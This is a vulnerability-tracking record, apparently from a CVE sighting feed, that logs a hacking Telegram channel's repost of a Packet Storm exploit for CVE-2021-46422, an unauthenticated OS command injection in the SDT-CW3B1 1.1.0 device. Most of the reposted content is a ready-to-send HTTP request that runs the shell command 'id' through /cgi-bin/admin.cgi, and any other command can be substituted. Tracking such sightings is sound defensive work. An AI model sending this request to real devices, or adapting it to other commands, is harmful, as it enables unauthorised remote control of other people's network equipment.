{"uuid": "33ce3ddd-2729-41c4-aefd-c7cd0194d30d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-46422", "type": "seen", "source": "https://t.me/hacking_Attack/53797", "content": "Exploit Collector\nSDT-CW3B1 1.1.0 Command Injection\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nSDT-CW3B1 version 1.1.0 suffers from a command injection vulnerability.\n\nSHA-256 | 8860761838526038594fcc60341f30b6ce5d75e287ff95719536bb39ccf39c13\n\nDownload\n# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection\n# Date: 2022-05-12\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: 1.0.0\n# Vendor home page : http://telesquare.co.kr/\n# Authentication Required: No\n# CVE : CVE-2021-46422\n\n# Tested on: Windows\n\n# HTTP Request\nGET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1\nHost: IP_HERE\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36\nAccept: */*\nReferer: http:// IP_HERE /admin/system_command.shtml\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:39.430537Z"}